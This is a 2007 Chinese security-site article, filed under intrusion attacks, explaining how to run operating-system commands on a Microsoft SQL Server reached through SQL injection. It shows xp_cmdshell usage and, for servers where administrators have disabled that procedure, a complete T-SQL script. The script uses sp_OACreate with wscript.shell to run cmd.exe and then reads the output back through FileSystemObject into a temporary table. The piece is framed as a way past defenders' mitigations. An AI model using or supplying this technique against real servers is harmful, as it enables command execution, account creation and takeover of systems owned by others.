执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 入侵攻击 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
暴力注入Explorer详细解析
简单线程注入的实现
PHP+MySQL注入导出文件的新发现(附
对形象中国全站系统的搜索注入漏洞
ASP.NET 中如何防范SQL注入式攻击
注入攻击中变量处理的重要性
万网的尴尬-万网ORACLE注入漏洞曝
SQL注入路径问题
SQL注入得到WEBSHELL
SQL注入法攻击完全总结篇
在有注入漏洞的SQL服务器上运行CMD命令
作者:佚名 来源:安全在线 更新时间:2007-8-6 2:34:23 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

提示: 利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

  EXEC master.dbo.xp_cmdshell 'dir c:\'

  但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

  对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:

  sp_OACreate,sp_OAGetProperty和sp_OAMethod。

  前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。

  sp_OACreate

  在 SQL Server实例上创建 OLE 对象实例:

  sp_OACreate progid, clsid,

  objecttoken OUTPUT

  [ , context ]

  sp_OAGetProperty

  获取 OLE 对象的属性值:

  sp_OAGetProperty objecttoken,

  propertyname

  [, propertyvalue OUTPUT]

  [, index...]

  sp_OAMethod

  调用 OLE 对象的方法:

  sp_OAMethod objecttoken,

  methodname

  [, returnvalue OUTPUT]

  [ , [ @parametername = ] parameter [ OUTPUT ]

  [...n]]

  思路:

  先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

  以下是相应的SQL语句

  CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)

  DECLARE @shell INT

  DECLARE @fso INT

  DECLARE @file INT

  DECLARE @isEnd BIT

  DECLARE @out VARCHAR(400)

  EXEC sp_oacreate 'wscript.shell',@shell output

  EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'

  --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

  EXEC sp_oacreate 'scripting.filesystemobject',@fso output

  EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'

  --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

  WHILE @shell>0

  BEGIN

  EXEC sp_oamethod @file,'Readline',@out out

  INSERT INTO MYTMP(info) VALUES (@out)

  EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out

  IF @isEnd=1 BREAK

  ELSE CONTINUE

  END

  DROP TABLE MYTMP

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号